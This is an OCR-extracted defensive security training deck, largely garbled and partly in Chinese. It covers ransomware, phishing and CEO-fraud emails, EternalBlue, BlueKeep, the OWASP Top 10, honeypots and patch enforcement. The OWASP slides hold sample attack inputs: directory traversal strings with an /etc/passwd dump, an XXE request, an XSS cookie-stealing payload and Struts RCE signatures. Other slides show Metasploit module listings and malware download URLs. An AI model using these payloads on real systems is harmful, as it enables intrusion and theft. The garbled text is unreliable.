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Vulnerabilities Are Coming Fast & Furious

721 7 new medium & high CVE vulns in 2017

> ~ 50 man hours to patch 1 vulnerability

You do the math!
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Phases of Threat Life Cycle

ATCk Provide Visibility and
Control over All Phases of
the Threat Life Cycle
.*"EQQK@QQ%QQH S
/4 1
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Data Data
Exfiltration
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« Ransomware
« Ransom Malware

o [BENTZEN T B2

e denial-of-access attack

- AR BHRSWEES

@NH,

- ZTEEREE

THE PERFECT STORM FOR A
RANSOMWARE ATTACK

A WINDOWS RISKY IT
ENVIRONMENT PRACTICES |

Are yvou diligenthy patching?

Have Windows desktops? Which systems have
Servers? A Windows XP or other

-

*

You're vulnerable. outdated versions of

operations systems (0Ses)?

©O) /N
Embedded OSasin

Lack of visibility into A TARGET sensors or other devices
your network - in the Intermet of Things
environment opens LODk.a fDI’ core .:et of vulnerabllltles (loT) are also red flags
you up to major risks to ransomware

Ransomware criminals target a

specific vulnerability and its variants criminals

<> AIRLINE



2020 May E8 2R FRRKESFIRE

mll... 55— K B H HRER. ..

ColdLock

Cofacts :=9= EE= S5 Cofacts N
ﬁﬁﬁ‘%@ﬁigﬂl%\ 1 T%Ei% 2 ,7 o1 fE? . 2 :\?
>'< %’v’(*ﬂ
COLDLOCKE) 8 B4 M B Lo 1 3 ¢
—#.4,% COLDLOCK Hy$1 %4k (Ransomware) 4472 & RAT £33 (708 » HAIDAARANARES EERNREVE - LSRR #HLE [EHEN]
—Eg5Rword . excel TEEMIERL , A ERHERNR B E K A |
BELL AT
~~ G T~ ~
109.05.06
0 % EE: COLDLOCK%M@L SIHENEGEMRFE N —&# 5 COLDLOCK #Y#1= % s (Ransomware) IFi2 72 5/ B8R (R E TN E » Eﬁ! AT RS HSEEREERE - g

ow AR TS [BHEE] — B SEword . excel TR T, BT EIS IR B G EIEEL | B ~ ~ e ~ 109 05 i

B = (A H AT E

HYTE

<> FAIRLINE



B SRR AN R AN H EE DR EK

A G/ EI U ES A ER AU FE Oy THT B (SR HY £ ZEPRER

Data breaches by company size X E%E’J%Eﬂ%é\@% , 7151%]:-‘-55%%%5%&
R TT 2%

Unknown

X TR U TT 28 S IR AR R
More than X AIRAIT A & LU S SERAIRE

q» X TS 0 T A B

100,000
1,001-

10,000

40% of data breaches affected organizations with

less than 1,000 employees

Source: Verizon data breach investigations report, 2013
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. S P AMiﬂj&ﬁB {q: (? i? I*% ) You have received a new secure message - Cyrillic (Windows)

. File Edit Yiew Tools Message Help

‘ %ﬂj\ E,Mg El/‘j%g‘ﬁ:% 2016 1R R MRNEHEEHE
- AN Gl R, EEIEEE T ge—

P % gl Indexed Weekly Malicious Volume by Attack Type, 2016 YTD
° M{["ft{:@ E Hj—r\)\ﬂl\j E:7'_\‘ mmm  Malicious URL

- EATRMRRE B TR R -
g -

- [ LEA (Exploit Kit)

}EH 5[5 gg%gi’m%” @% [J }EH E %I:[ ﬁ;ﬁ%ﬂ 5}|§:lrz:| 5@]& January February March April May June July
% EI/\j _I:]:j ? % I E Figure 1: Year-to-date weekly malicious message volume by attack type

August September

Our records show that vour account has a debt of $138.{rard
(10,99)}}. Previcus attempts of collecting this sum have failed

Down below you can find an attached file with the iInformation on
YO case
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Most important people at Total Protect Net|

Google gearch I'm Feeling Lucky
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—  BUSINESS INSIDER uk TECH

Total Protect Net is the most valuable private tech company in the world, and Michael Jaxon
is in charge of running its finances.

Total Protect Net's new CFO is set to guide the business through the tech firms upcoming IPO.



1 = 7 b :
. 3 |
in Q Search m & = & E\ . Try P-rer>mum
Home My Network Jobs Messaging Notifications Me ¥ for Free

UK SharePoint Experts - SharePoint Design, Development, Migration & Adoption House 0161 250 2720 | Ad

£ Update background photo

M lCh ael Jaxon Add new profile section v
CFO at Total Protect Net

Total Protect Net «University of Timbuktu Edit your public profile ®
Buckinghamshire, United Kingdom + 351 &

Add profile in another language ®

Who’s viewed your profile Views of your share ;
88 Vho’s viewed your profile O iews of your shar People Also Viewed
Chris Tong - 2nd
y CEO at Total Protect Net
Strengthen your profile Next )
Vince Karr - 2nd
p— Vice President World Wide Sales at

3 Total Protect Net

\ John Smith - 2nd
? Accounts Payable Coordinator at Total

- Protect Net
° Not now View all suggestions

o




1 7 .
° = =™ Try Premium
in B Search 1A S = El [;\ j Y .
Home My Network Messaging Notifications Me ¥ for Free

V4 £ Update background photo

Accounts payable Coordinator at Total Protect Net

Total Protect Net « University of Ohio Edit your public profile ®

Kent, United Kingdom « 351 8

Add profile in another language ®

Responsible for ensuring supplier compliance, Supplier PO managment| invoicing processingfand managing manual

payment requests promptly and efficiently.

88 Who’s viewed your profile O Views of your share

Strengthen your profile



--—--0Original Message-----

From: CFO <michael.jaxon@total-protect.net>

To: John in Finance <john.smith@totalprotect.net>
Subject: Re: Consultant Payment

Hi John,

Are you busy? Following Snapchat’s recent stock issues, | need your help
to process a payment to an advisor before going public with our IPO.

You are the only person on your team under NDA so please do not discuss
with anyone else.

Best regards,

Michael
Sent from my iPhone
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From: John in Finance

To: CFO

Subject: Re: Consultant Payment
Hi Michael

Yes I'm available, which account is it for?

Regards, John
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From: CFO
To: John in Finance
Subject: Re: Consultant Payment

First Bank of Sodor

Account Holder: Henry Morgan
Account No: 7649386009345
Routing No: 638732540
Amount: $52,000

Thanks,
Sent from my iPhone
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From: John in Finance

To: CFO
Subject: Re: Consultant Payment

John,
Did you send the payment?

Thanks,
Sent from my iPhone
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From: John in Finance

To: CFO
Subject: Re: Consultant Payment

John,
How about now??

Thanks,
Sent from my iPhone
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From: John in Finance

To: CFO

Subject: Re: Consultant Payment
Hi Michael

Yes, All set. See you Monday.

Regards, John

<> FAIRLINE



Spotting the Phish

—————— Onginal message ---—---
From: "notification@natwest.com" <ntws.h?@dorawrstmails.com>
Date: 05/09/2017 11:15 (GMT-+00:00)

To:
Subject: New online update authentication procedures #

© NatWest
PB4 4o 5N = |
Y r’ » ISy - qr ° Please note that starting from Tuesday, September 5

banking authentication procedures in order to protect

Subject: Urgent request

users.

This is the security information that will be added to yo H i J Ohn

* R E & Email i L

You are required to confirm your personal details with us Please ca" our Supplier about
O ‘:J » /N LJ‘
|54 £
2L Email ¢ aud 3

service untill this has been done. As you're already regisf . P
to confirm your online banking details WI re payment d Etall 5.
hitps:/inatwest.comil irity 7 Token=86NMB6457 1.702.234.4567.

Once you've completed this process you will be able to h

ue

Your new updated security information will be added to y

bemg verfies I'll be on a flight for the next
» \] —— A) VUl es 2 min urself online
FRES T £ W gl 0 hous andunableto
- » 7N s
¥ F F‘ - e e take calls.

4 deminad than instol the software:
o ?"IL lg‘ . e o o oo
dr BT € 5V security

uch tax in the past, due to an official error.
repayment for tax years which are now

This is urgent!

Michael
Total Protect Inc

P, S ey, - UNapg
WPy Ing & ’QCateé) curate information is necessary so that we

Nags 194 )
"ghts ’eSe’Ved

gentcr PCTRC) Al rights reserved

Ot
QLIesﬁOns
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3.1.4. Microsoft CVE-2017-0146 : Windows SMBERRE /T IEIRIA (msft-cve-2017-0146)

Microsoftfir #5aaiE EHE1.0 (SMBvl) AR asEii i LLim ke 77 A FEERE T IERIE o B A LRFA I E v LERE B ERE
sr CEUTIIBAVRE S - BRIA IR » EAZHIBRT » REEMEEVIICE S/ UIF BB EI32E HIESMBIREeR - T2 EH
FiE LT 77 SR E - BHIESMBv1EHLE SR REE R T o EEHAIAIEAWannaCry (X4

WannaCrypt * WannaCryptor * Wery ) Ransomware/ZE2 R —#f 43 ©

B RIRIR

ZRBHIEIR HAEE -

10.10.5.100 Host returned expected exception that indicates vulnerability
(INSUFF_SERVER_RESOURCES).

10.10.5.17 Host returned expected exception that indicates vulnerability
(INSUFF_SERVER_RESOURCES).

10.10.5.7 Host returned expected exception that indicates vulnerability
(INSUFF_SERVER_RESOURCESY).

10.10.5.8 Host returned expected exception that indicates vulnerability

(INSUFF_SERVER_RESOURCES). <> FAIRLINE



Exploit DB

« https.//www.exploit-db.com/

=

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
s

# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from

Verified Has App # gaining administrative access to these systems. This setting can be found
# under:
=
# Local Security Settings >
Show | 15 > # Local Policies >
# Security Options >
Date D A V Title # Network Access: Sharing and security model for local accounts
2020-07-15 ¥ X Zyxel Armor X1 WAP6806 - Directory Traversal class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
2020-07-15 hd X SuperMicro IPMI Weblnterface 03.40 - Cross-Site Request F
include Msf::Exploit::Remote::SMB::Client: :Psexec_MS17_018
2020-07-14 s 5 Trend Micro Web Security Virtual Appliance 6.5 SP2 Patch ¢ ST e s Ehars s rerere el
- Code Execution (Metasploit) include Msf::Exploit::EXE
20200714 ¥ X BSA Radar 1.6.7234.24750 - Local File Inclusion sisllise e E o L B

include Msf::Auxiliary: :Report

AAAA AT AN n ~ [ O DR LI DRNCIC IR Y [N ———— N S — Y ALl __xt_ _at_ P
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https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/

Metasploit

Target Systems

Search Modules = ms17-010

Target Addresses Excluded Addresses
fo101214

Found 6 matching modules
Exploit Timeout (minutes)

MODULE TYPE 0s MODULE

i g SMB DOUBLEPULSAR Remote Code Execution
Server Exploit o .
05| exploit/windows/smb/smb_doublepulsar_rce Target Settings
s Exploit g MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for |Execute payload (x64) Vi
erver Exploi
P (0S| exploit/windows/smb/ms17_010_eternalblue_win8
: . Payload Opti
Server Excloit - MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption ayload Options
. - exploit/windows/smb/ms17_010_eternalblue Payload Type [Meterpreter v Listener Ports [1024-65535 ]
- MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remc Connection Type Listener Host [ ]
. ng R
Server Exploit — Code Execution Auto Launch Macro Enable Stage Encoding (IPS evasion)  []
exploit/windows/smb/ms17_010_psexec
Module Options
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remc
Auxiliary 05| Command Execution RPORT 445 l The SMB service port (port)
auxiliary/admin/smb/ms17_010_command Advanced Options show
Auxiliary - MS517-010 SMB RCE Detection Evasion Options show
auxiliary/scanner/smb/smb_ms17_010 @ Run Module
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UTM / Next-Gen Web
Firewall Security
E-mail Secure
Security WiFi

>

@ Endpoint Mobile
Protection Control

> Server @ SafeGuard
Protection Encryption
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RS eI FERE S g%%:ﬁ@@%ﬁzﬁ% SRR S TR gﬂyﬁfﬂzﬁlﬂﬁﬁﬁﬁﬂ% FEELH &R

Sample Tools & Tactics

© BYRELE s HEIEEHEE s BHFHUESS o TSR * Staging servers & directories
« KU E * CRCIHE4R 4TS (Credential) s BN [fFHUEE « EirtEG
- BB EbREE N Vsl /¢ o * “Pass-the-hash” . ZRIEEEY

FEEHAS T
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CaseIin Point& A% 2 F B & % b

Manual Alert to Remediation: = #- 2 45 ﬁzfﬁ

L ﬁ’ﬁﬁ%&SIEM%#? ek P HRTRTH ¥z S
d BART AFFS

-
Y
p
K

1001 S X B
011 Memory Dump

¥ A B R R
Best Case Scenario

[ emm— ] v [ emmm— 1015210
“ ' :,c l; 10 RiFeREL A
| o

~ f—
10
1001 ~
0116 |

LEBRAR RELRr SR E Y 4 RT R L SNER
3 - kEMgre(z e FE TR
P/ PR ERFL &8

Manual = 12 Hours
FREBSORAERE D
GRTE U R )

40
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Typical day g —‘F*f TR IEEL

In the office Memory Dump

A B AR
Best Case Scenario

Manual = 12 Hours
FREEBOR AR T
TadFsxI- &Y

LB LM REFLFr>IERE B ABT e LA
3 - kEMEFr (R T EFRRIER

Pis/PRg e 26)
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Threatsaurus

- RHIEDI R ER The A-Z of computer and

data security threats

- RERTEERRE AT

- [HIEEEERIFEZE (javascript, vbscript, chm etc...)
- REEHEGER (HEEG 2 c&C fHiR=S)

o ZETT HTTPS 38 EHE]

{5 FH HIPS (Host Intrusion Prevention Service)
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Il For Windows AhnlLab Zillval “'nProtect KAPIR{KCY 2 U McAfee
- For ino — s
Bl \Windows Custom Engines , ,
[ Avira K7 Emsisoft MirTus
..} DertNse ~ OixaRus @F-PROT SOPHOS

u @ Avira L Zilial @ TREND Bt Microsoft
oixARUS
O IA v Symantec. LAVASOFT Netjgate
[ C Y REN|
o el . SUSTWeaK Filseclab

K7 Z © Ko
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> | VIRUSTOTAL

Analyze suspicious files and URLs to detect types of malware, automatically
share them with the security community

FILE URL SEARCH
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HREH -IRXLiEEMK

%I EH
4 4 55 B B A A BE 2h 858 A A B BAGE A
4 1 8 0 0
A 2. 8 1 0
4 3. 5 0 0
A 4 7 2 0
R P 3t B
A4 46 55 FIBCER AR FIABL | SE8RE S ARPIA R | BAMAIRPIAR
41 * 8 A 0 0
£ x 36(3)
X MER()
& x36(1)
X A 3F(2)
7 x3p(1)
A 2. * 8 A £ 1A 0
X F3R(1) 12 x 3p(1)
# x 3R(1)
X Fi3p(1)
f2 x50 (2)
X MERQ?2)
7 x (1)
A 3. *S5A 0 0
& x3(1)
X &36(2)

i x 3R (1)

SNl

<> FAIRLINE



Email Relay

« BT EFEZARFS

« FARZIARE D ol ERE ST A ML

- BRIAEEIHTE - EHEBEREIPREIER
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Sandbox

- [REiIRIRE

» EASIERI PN ENTEEF ISR

Rl oI RE R B RE NS EHE M BRI

« AR EITRIEL
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(Javascript, vbscript, chm etc...)
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Potentially exploitable objects within Microsoft Office Document
Deep Dive Into Data Sanitization (CDR)

REMOVE: Macros, Embedded objects, OLE Objects, Attachments, embedded binary files, script enabled ActiveX Controls, Hyperlinks

SANITIZE: Crafted Images

- @
: __@n
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C&C 1ol Ak =s
. C2, C&C

« Command and Control server

lIJ

- BEELRBRREN TR

* I[P reputations
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B8RRI E 0

THE INTERNET

FrEfEEl e ramiE A 2Ry E

NON-RELEVANT TRAFFIC
REGIONS WORTH
{: 3 ANALYSIS
Y

{51553t WORTH ANALYZING:
o] SRV R E

UNREGISTERED
IPs

E

UR NETWORK

AEF 2 NOT WORTH ANALYZING:
E41E E# A KNOWN MALICIOUS

Y

o}

K&t flIPs UNREGISTERED IPs

AHERIEIFIRIR UNWANTED REGIONS
MALICIOUS
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DASHBOARD \ BLOCKED IP ADDRESSES

L .  ss =S

IP Address

109.63.232.80
125.211.204.252
PRT0.04.228
139.227.230.95
1.173.19.9
43,242 33250
IE50.95
103.255.171.10
114.45.50.119
1.174.163.40
196.247.56.36
111.250.186.142
187.160.61.122
202.162.221.158
112.104.14.100
118.163.43.79
94.177.246.190
104.248.71.130
109.248.9.20
109.248.9.245
121.135.185.69
187.95.103.90
39.166.253.159

Showing last 900 blocked IP addresses

Country

B Russia

™ China

B Russia

™ China

™ Taiwag,
dia

M Taiwan

£8 Malaysia

M Taiwan

L ETVED

@ Canada

M Taiwan

W Mexico

& Indonesia

M Taiwan

L ETED

B Germany

E8 United States
W% United Kingdom
RE United Kingdom
EA Republic of Korea
& Brazil

M China

Q REFRESH

Reason

A
x

R T S
F’v—’-w’-)—’*

b Gk ok A o
I B -

3

A ok
o My

Last Blocked On

2018-09-17 06:11:43
2018-09-17 06:07:54
2018-09-17.06:67:21
2018-09-17 06:06:56
2018-09-17 06:06:30
2018-09-17 06:05:43
2018-09-17 06:04:19
2018-09-17 06:04:01
2018-09-17 06:03:50
2018-09-17 06:03:36
2018-09-17 06:03:20
2018-09-17 06:03:12
2018-09-17 06:03:07
2018-09-17 06:03:01
2018-09-17 06:02:54
2018-09-17 06:01:14
2018-09-17 05:55:27
2018-09-17 05:53:26
2018-09-17 05:31:39
2018-09-17 05:30:03
2018-09-17 05:29:11
2018-09-17 05:06:50
2018-09-17 04:58:07

(% LAST WEEK v

Last Direction

Outbound
Outbound
Outbound
Outbound
Outbound
Outbound
Outbound
Outbound
Outbound
Outbound
Outbound
Outbound
Outbound
Outbound
Outbound
Outbound
Inbound
Inbound
Inbound
Inbound
Inbound
Inbound
Inbound

RAP SHEET | LOCAL IP ADDRESSES

Reverse DNS: N/A

THREATS DETECTED: 10 MALWARE

http://ngfhfgervf jnlianshi.cn/jkm/42027 apk
2018-09-17 05:09:12

SHA256 -
dadb249780d40f9beabf931eb5d06d2fc25ed97676d257d3f2cb9c74d99a286f

http://dfsd.2208ap.com/jkm/44200.apk
2018-09-16 04:27:56

SHA256 -
03483b711fbe8f17f7215cc6f3b3babf7d9df787130cd97a374f781662167b76

http://dfsd.2208ap.com/jkm/42045-3.apk
2018-09-16 00:05:44
SHA256 -

Last Blocked On: 2018-09-17 06:07:54
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WAF & Firewall & IPS

WAF-
B TR R
B TR T RS R

|PS:

B FEEFE=)g, g, s tE
B DU BN By 3 (Signature-based)

Firewall:
B $1EHP, PortfyiEE
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OWASP Top 10 2017

« https.//owasp.org/www-project-top-ten/

2 Swg (*” Scrapers
Anonymous Proxies (G2 *
TOR Networks, Bots =\ 2

App DDoS

OWASP Top-10
Web Attacks
Phishing Sites
Known
Attackers
Comment
Spammers
Undesirable
Geo-locations
Web App

Suspicious Devices

Credential Stuffing _—
- A

Web Fraud

Vulnerabilities
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https://owasp.org/www-project-top-ten/
https://owasp.org/www-project-top-ten/
https://owasp.org/www-project-top-ten/
https://owasp.org/www-project-top-ten/
https://owasp.org/www-project-top-ten/
https://owasp.org/www-project-top-ten/
https://owasp.org/www-project-top-ten/
https://owasp.org/www-project-top-ten/

Injection
« SQL Injection
« OS command Injection

 LDAP Injection
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Broken Authentication

. FHERIRES
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Sensitive Data Exposure
- WHENIEE

- BEIINEEE
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XML External Entities (XXE)

POST /test.php HTTP/1.1.

Host: 192.168.100.100¢

Accept: text/plain, */%*; q=0.01.
Conntent-Type: text/xml!
Content-Length: 72!

1

<7xml_version="1.0" encoding="utf-8"7>.
<root>/!

<name>Kevin</name>!
<lroot>!

POST /test.php HTTP/1.1.

Host: 192.168.100.100.

Accept: text/plain, */*; ¢=0.01/
Conntent-Type: text/xmll

Content-Length: 72!
1

<?xml version="1.0" encoding="utf-8"7>!

<root>!
<name>&test;</name>!
<froot>!
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Broken Access Control

- ERHBFEY

‘1371

» Directory Traversal (B #2818 K )

URL
9% 2ef % 2e) %2l % el %2e). % 2e) % 2elelc/passwd
flog.jsp

letcipasswd

iserdeticom. newatlanta. servietexec jsp10serdet’ \ \alobal.asa
AL L v ndowesioadan. inl

AL waninEean ini

ALLLLL L L wwinntwdn.ini
ALLALL LAY windowswin.ini

rootx:0:0:root/root/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2: 2:bin:/bin:/usr/sbin/nologin

Respon sys:x:3:3:sys:/dev:/usr/sbin/nologin

L syncx:4:65534:sync:/bin:/bin/sync

404 e . . : !

400 games:x:5:60:games:/usr/games:/usr/sbin/nologin

407 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

404 Ip:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin

400 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

400 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
400 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
400 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

400 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
400 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

listx:38:38:Mailing List Manager:/var/list/usr/sbin/nologin
ircx:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
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Security Misconfiguration

AEARERERRE - RREE2E ERNHTTPE EZRER

- EfpELR - LOW
- i E 414 O] fEZRBE 0 A= T Content-Security-Policy (CSP)
- CSPEZER R FhEECross-site scripting

HTTP/1.1 200 OK

Connection: close

Date: Sun, 21 Jun 2020 01:23:36 GMT
Content-Length: 3948

Content-Type: application/octet-stream
Last-Modified: Thu, 11 Jun 2020 19:14:15 GMT
Accept-Ranges: bytes

ETag: "80dd227f2440d61:0"

Server: Microsoft-11S/10.0

X-Powered-By: ASP.NET
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Cross-Site Scripting XSS

« BEAILEITHTML/ JavascriptE 2585
- OJgEZS AL Session hijack ~ EHREEERHREFE

Text to search: ript=alert{document. cookie)</script=| (___Find )

Select Type Of Search: ) on Hame O on Description

Microsoft Internet Explorer

! E ASPSESSIONIDASACQSESS=MHIHLDMDODAIMMDKNEOBBCAC
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Using Components with Known
Vulnerabilities

« Remote Command Execution
EERAEEFEEENMMERNESFEEB SRR E(CVE)

o _———— ey -— - B T ——————— g - e memmeam g - e T T R —— P T i ey g e e e s emm e

CVE-2017-7324: MODX Revolution Remote PHP Code Inj...  part="/setup/templates/findcore php", part="core_path", rgxp="core_path\s*=\s*["&]*(chr|twrite|fopen|system|echr|pas

CWVE-2017-9805: Apache Struts 2 RCE - 1 part="java.lang.ProcessBuilder"

CVE-2017-9805: Apache Struts 2 RCE - 2 part="javax imageio.spi.Filterlterator”, part="java.lang.5tring"
CVE-2018-11776: Apache Struts Code Execution - 1 part="allowStaticMethodAccess”, part="_memberAccess”
CVE-2018-11776: Apache Struts Code Execution - 2 part="/${("

CVE-2018-11776: Apache Struts Code Execution - 3 part="/${{"
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Insufficient Logging & Monitoring

e

C RBBE ARG ——— gt

e i

32007

s |
lis o J ¥
{00 J ¥ E

B Jul 09, 2010 (1) ¥ Books S
Hzme B 7m0 ||| vusc |

B Jusl 08, 2010 (32) || »Games Please sign in to access your SuperVeda account. If you do not have an account, dlick here to create one. seT.i
oy B 190 || bpiagazne |
i R T enan: i1 1 & node-ogn .1
||28591 © l 7810 Password: |uuuu 1
e B 7m0

awse § a0 9.2 8) Gecko/201(
s 0 w0
Hasz 0 mww
= B FIA SQL
a1 7m0 S—— Injection % ==

28638 | T840 1 Unauthorized Method OPTIONS 110 T o =l
| vacee TRUD & Misinte Madnemed 101 tenm an 2] [KBEP-AliVE: 115

: o Connection: keep-alive

Referer: hitp://10.11.199.131/login.jsp?mode=draw&return=welcome. jsp
Cockie: JSESSIONID=E1B7COCO3SF262BBFATDE1 8CEEBFIETT Privieges=None
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&£ HIPS

(Host Intrusion Prevention Service)
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Host Intrusion Prevention Service

- RV

* Reqgistry& #1g Ba 1

o BERIT S TE

- SEREHENRES
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U e B K iz AR 55

» Access Control List

« TEETEI (A

= LAY R AE 1

. BAVER RS T
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7 170 Ped P

* Decoy * Honey Pot

- EREEFFRARFERNTHNZR{EF AN (decoys) 5[5
&l (breadcrumbs)

» ZA B A (Decoys) W FE ~ MPBAKEBEMITM) ~ LIK I
RENEERSRFAMBERETR

» Baab2 2 Nn HaH(Decoys) PRIRIRRIINEF X - f5R AN
BRIV IR RIEE
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shEpHEEHZE REISERIMTE?

B EAIECEE LM - DU #8223 A R B -

HR Web Server Data

- \[/)Vellt\:l(?(/) Server
w:hw Decoy HR Ny _ Decoy Data
(R Web Server “um® Windows D Server
T ' ,
1

]
,Deecay
L\WIN 10 '

< \ 1

X 1
N X
- s X !
bm e e - ~ S— I~ Decoy._ -
=\ = ANIN’lO
~

A\ Decoy
“““““““““““““““ eecoccoceoe WIN10
T

Decoy Data. | [ L/ 2

Server
Before: A0 AL AH & Décoy
Production 72/ WINTO Decoy HR
After: BE T B ETE | e
W EFEIE????7?7 g
N
'




Step 1 - Sniff and Identify Your Assets

....... A

Know atvy

/:'
ARG

\

\

your network L

O0OO0OO0OO00O0

.
.

.

.
.
.
.
.
.

ek
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Step 2 - Deploy & Test Decoys

Web Service Data

- EDECOY Server
ndpoint
Decoy Web Ny i B L Decoy Data
ervice -

el = v —g@ Server
LT )
s w :

: % :

I \\ \

I N \

: ! 5SS \\ ' o~

Endpoint PC1 N T~ 4 Endpoint PC3
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Step 3 - Deploy Breadcrumbs

y Data
Web Service Decoy Wesieet
Decoy Web Ny ]y s Decoy Data
, Service g LD Server
T O X | @ i b3 I
.-‘r 2 I’ ’ % : | ) .
= = = ! w4 = @
I P e M—_
i ———— \[Fodey/
1 y v o o
: ———————— I h 1 ,/ \ P X 4
-I (‘j > S \ = B X
- ] 222 — R
Targeted mini-traps "7 7TTTTTToTmT oo ceccccee (=
placement EndpointPC1 -~~~ "7°=<.__ EndpointPC3
ol ) \ .
B © o
Cookies 2 | <& e
Registry
Files
Recent docs. ™ . A\
RDP/FTP/Service greaderumb ()/ Decoy
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Step 4 - Active Directory Deception

Data
S : ,
Decoy i Active Directory
Endpoint

Decoy Web
Service

. Ne >
= 54 \ S
\N“~~\§ Endpoint PC3
[ ‘Breadcrumb” f‘\) Deco " F '
B \Z y aked Users
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Step 5 — Analyze Traffic/Confuse Attackers

Traffic Analysis

DNS
HTTP
SSL
Browsers

Tools
Etc...

Web Service Data

Y EDgCOYt Server
ndpoin
Decoy Web Ny 2 s Decoy Data
Service e Endpoint PC2 H
gy v\ """ (
-r)) . g
g > e ' e
[ ' N sl l ’
T e bY < \ I = 7
~ 4 ! 7
2552 < \\ 1 >
A =2 ~ 2 S \ : / <
(Q \\\\ \\\ \\ I'/// -
<= F—r o
Endpoint PC1 SN — U Endpomt PC3

N Endps nt PC4
i Decoy
i ) N <& »
Breadcrumb ( ) e I r
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RABE) RIS E RS

T

8/23 NAS £#E WECANHELP S E&iBport3389M AN

8/26 HRAUERZIEENAS £ (Synology) ~ HEil[EF

. ] _-AE x _RESTORE FILES_- BB %
¥ £ UL Ale MANV) NRNM
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LER I EE ) RER B
BlueKeep , Globeimposter 3.0

BlueKeep
P A A FHRDP | H A E 25 A Sl - BINFEERE O E R4 BT SRR S - M AR

SRR PR = BB e B B R IR ARSI

Globelmposter 3.0
PR T RSA+AES | IWEUAREZEERIINE - I H % g4 — (B4 SHOW_TO_BACK FILES | HY
txt3C > BURIRAVE A IDFRY 5t DL B AR T =\ - HEIEINE g amE TH -

9 T oL
019%/31 Te)

2019/8/31 Fe g

20198/31 Ty

200105 Fe)

2019831 Fe )

e FeL
019831 Tl H
2019471 FEL APOUG
019831 TRL. APOUO

%)S‘Z?JDM HYE T

<> AIRLINE



LER I EE ) EER B
BlueKeep , Globeimposter 3.0

BlueKeep

Globelmposter
CrySiS ~ CryptON ~ Samsam ~ GandCrab

BiEERK  SFRBENYE - BHEEE - FEINEE
Windows ZEin 2 HARFS ( RDP ) AR -
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S22 e

vakii}

GRZ M - W SRR E DN ERR - B ERRA TR #E 1 EIRR
2 HEZE Endpoint APT [/5EE 8|

R LR E B B R PR RIS T E)

NES e A E HEME TR 7B

A= H I EE LS ERHI BN R EBER A L RIRREEE
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Step 1 {88 HFLEES 5 EBARITCP 3389 Port

v VR BlueKeep > RDP ports closed ,, 2 OF 22 HOST
/iews
Host v Pv4 Addre Segme Policy VR BlueKeep  MAC Addre Di.| Sw.. 5. S.. Fu
+ I3 VR BlueKaep (9)
- S 5 ® 19216817511 192168.175.11 Net_192.168175.0 & RDP ports closed 000¢29¢cdd002 19 Fa
RDP ports closed (2) -
)2.168.170.254 192168170254  Net_192.168.170.0 B ROP ports closed 00505682056
Vulnerable (4)
Notvulnerable (2) RDP ports closed
Offline (0) co 4L v
- 55 IPv4 Address: 192 16817611 =
Unable to detect (0) [ 2] MAC Address: 000¢c29¢cdd002
Others (0)
» I3 VR EternalBlua (9) Actions None (No actions defined for this rule)
History Sub-Rulas
1. & Match RDP ports closed
Filtars
nd Properties: Open Pont lone
z All IPv4 Addre 21681

Segments (22)

None (No actions defined for this rule)

Organizational Units e
¢ he hostis notinspected by the remaining sub-rules because it matches RDP ports ¢los

Q

[hmlmyle Somsrpmn
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Step 1 ERIMPLEER B ERARITCP 3389 Port

Open Ports

<> FAIRLINE



Step 2 M MILE

% 7 EBlueKeep552h

VR BlueKeep > Vulnerable b _, 4 OF g2 HOSTS
vViews .
A Host w IPv4 Address Saegment - R BluaKeep MA ddress Comm Displa Switct Swit Sw Functior tion
4 VR BlusKeep (9 i = N g P
° ORKGROUPWM-WIN7-170 192.168.170.9 Net_192.1 &4 Vuinerabla 000¢28b7a08b
RDP ports clozed (2) o
¢ WORKGROUP\TEST-PC 192.168.160.1 Host_192.1... &4 Vulnerabl 000c2946bab?
Vulnerable (4)
lotvulnarable (2) Vuinerable
LLLLLEJ \"/ ] :
== User: roger_ting (local) IPv4 Address: 19216817097 Hostname: VM-WIN7-170
Unable to datact (0) =g MAC Address: 000c29b73080 Domain: WORKGROUP
Others (0)
» ¥ VR EtemalBlue (9 2. EdMatch  Vulnerable
Histon iition Propert 1terACT Script Raszult ignore falled pt itfaise, Command 68.170 1=v4
68.170 gMS_T120 check pa
2168.170.97 ot appid
Filters Mirrasatt Vil ot g g
il | | as -1 -~ g oV
Micr f \erabilt Fine-tunad
= All matched
":’_}NIT‘ f”.,‘::,

None (No
Organizational Units
M ASacdd Ponsima The hostis notinspected b

v theé remaining sub-ruies

actions dafined for this rule

because it matc

hes Vulnerable
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Step 3 mERAEEE EZXEWIindows 1HE &
Patch

Microsoft Vulnerabilities: Indicates the existence of Microsoft published OS and Office vulnerabilities detected on the host.
Use of this property requires the proper configuration and activation of the HPS Inspection Engine plugin.

Condition

* |5 one of

Is not one of

Check new vulnerabilities automatically

Search O\

Mame =

2019-05 Security Monthly Quality Rollup for Windows 7 for x64-based Systems (KB4499164)
2018-08 Security Manthly Quality Rollup for Windows 7 for x86-based Systems (KB4499164)
2018-08 Security Manthly Quality Rollup for Windows Embedded Standard 7 for x64-based Systems (KB4 ...

2019-05 Security Monthly Quality Rallup for Windows Embedded Standard 7 for x86-based Systems (KB4 ...

2019-05 Security Monthly Quality Rollup for Windows Server 2008 for tanium-based Systems (KB4499149) .. ..
2018-08 Security Monthly Quality Rollup for Windows Server 2008 for x64-based Systems (KB44849148) .. ..
2018-08 Security Manthly Quality Rollup for Windows Server 2008 for xB86-based Systems (KB4489148) .

2019-05 Security Monthly Quality Rollup for Windows Server 2008 R2 for tanium-based Systems (KB4489... ... ..
18 items (0 selected)

<> FAIRLINE



